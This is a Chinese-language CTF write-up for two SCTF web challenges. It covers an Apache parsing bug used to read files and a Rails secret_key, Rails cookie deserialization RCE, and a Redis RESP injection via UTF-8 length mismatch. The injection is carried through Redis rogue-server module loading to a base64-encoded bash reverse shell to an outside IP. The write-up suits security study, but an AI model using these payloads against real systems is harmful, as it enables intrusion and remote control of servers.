SCTF 部分wp

发布于 27 天前  215 次阅读


SCTF

太坐牢了,被出题人骗了。题目描述ez signin,结果到最后也没几个解,就这道黑盒研究了两天没研究出来,最后和队友一起看题协助做了一道。。。

havefun

题目给了一张图片,下载下来发现藏了php
image_mak
马上想到之前护网学到的apache解析洞,url后加/.php,得到服务器配置文件内容:

<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html
    PassengerAppRoot /usr/share/redmine
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

    <Directory /var/www/html/redmine>
        RailsBaseURI /redmine
    </Directory>

    RewriteEngine On
    RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
    LogLevel alert rewrite:trace3
    RewriteEngine On
    RewriteRule ^/profile/(.*)$ /$1.html
</VirtualHost>

是一个ruby语言起的redmine项目。并且可以通过解析漏洞访问服务器资源内的任意文件,如
http://1.95.37.51/usr/share/redmine/config/database.yml/.php

Database username: redmine/instance   password: redmine   

然后思路就开始歪了,因为有解析漏洞,所以就到处找redmine写入日志之类的地方,把日志解析为php就可以rce了,但是没有。

其实这道题打的是一个ruby-on-rails cookie反序列化漏洞,参考这个:
小心!你的 Rails 有被打過嗎?.pdf
看下来只需要拿到secret_key就可以直接复现,而secret_key在/usr/share/redmine/instances/default/config/secret_key.txt可以直接利用解析洞读:
image_mak

(比赛时本地起的redmine docker里根本没有这东西啊,为什么啊。。。)
后面就是复现漏洞了,github有现成的exp,没什么自己要做的事情
拿到shell以后利用mysql进行udf提权即可获得flag。

ezjump

题目前半段就是一个SSRF的CVE,复现即可:digging-for-ssrf-in-nextjs-apps

后半段是一个redis的逃逸执行任意redis,漏洞点在redis.py中:

def GET(key):
    redis_socket = connect_redis()
    try:
        # 发送命令
        command = pack_command('GET', key)
        redis_socket.sendall(command)

        # 接收响应
        response = b''
        while True:
            chunk = redis_socket.recv(1024)
            response += chunk
            if response.endswith(b'\r\n'):
                break
    finally:
        redis_socket.close()
    if "$-1\r\n" in response.decode('utf-8'):
        return None
        # 提取真实内容
    result_start_idx = response.index(b'\r\n') + 2  # 跳过第一行响应
    result_end_idx = response.index(b'\r\n', result_start_idx)  # 找到第二个\r\n
    real_content = response[result_start_idx:result_end_idx]
    return real_content
def pack_command(*args):
    # 构建 RESP 请求
    command = f"*{len(args)}\r\n"
    for arg in args:
        arg_str = str(arg)
        command += f"${len(arg_str)}\r\n{arg_str}\r\n"
    return command.encode('utf-8')

GET的key就是"username:"加上我们传的参数username。而在pack_command中传递给redis的RESP请求有一个.encode('utf-8'),由于中文字符在encode之后是三个字节,长度是不一样的,这里就构成了逃逸
image_mak
也就是说,假如我们传入一个中文字符,pack_command会构造RESP为:

*2
$3
GET
$1
\xe4\xbd\xa0

$1会让redis在对GET的值 只读入1个字符为\xe4,剩下的两个字符就逃逸了
由于\xbd\xa0不是有效的redis命令,redis会继续往下读,读到有效的resp协议为止

可以构造:

def send_resp(resp):
    redis_socket = connect_redis()
    redis_socket.sendall(resp)

resp = '''*2
$3
GET
$1
你
*3
$3
SET
$1
a
$1
b
'''
send_resp(resp.encode('utf-8'))

会发现其成功执行SET a b

而由于我们payload变长,$后的长度也会变长,因此一个中文字符只可以逃逸两个字符,我们构造payload直接在要执行的redis语句(resp格式)前加足够的中文字符就可以了:

def getpayload(cmd):
    payload = "你"*100
    payload += "\r\n"+f"*{len(cmd)}"
    for c in cmd:
        ch = "\r\n"+f"${len(c)}"+"\r\n"+c
        payload += ch
    print(quote(payload))

拿到redis之后可以打主从复制RCE:
redis-rogue-server

python3 redis-rogue-server.py --server-only

然后redis上依次执行:

127.0.0.1:6379> config set dir ./
OK
127.0.0.1:6379> config set dbfilename exp.so
OK
127.0.0.1:6379> SLAVEOF 121.199.39.4 4000
OK
127.0.0.1:6379> MODULE LOAD ./exp.so
OK
127.0.0.1:6379> SLAVEOF no one
OK
127.0.0.1:6379> MODULE LIST
1) 1) "name"
   2) "system"
   3) "ver"
   4) (integer) 1
127.0.0.1:6379> system.exec 'bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyMS4xOTkuMzkuNC8zMDAwIDA+JjE=}|{base64,-d}|{bash,-i}'

即可反弹shell

A web ctfer from 0RAYS
最后更新于 2024-11-07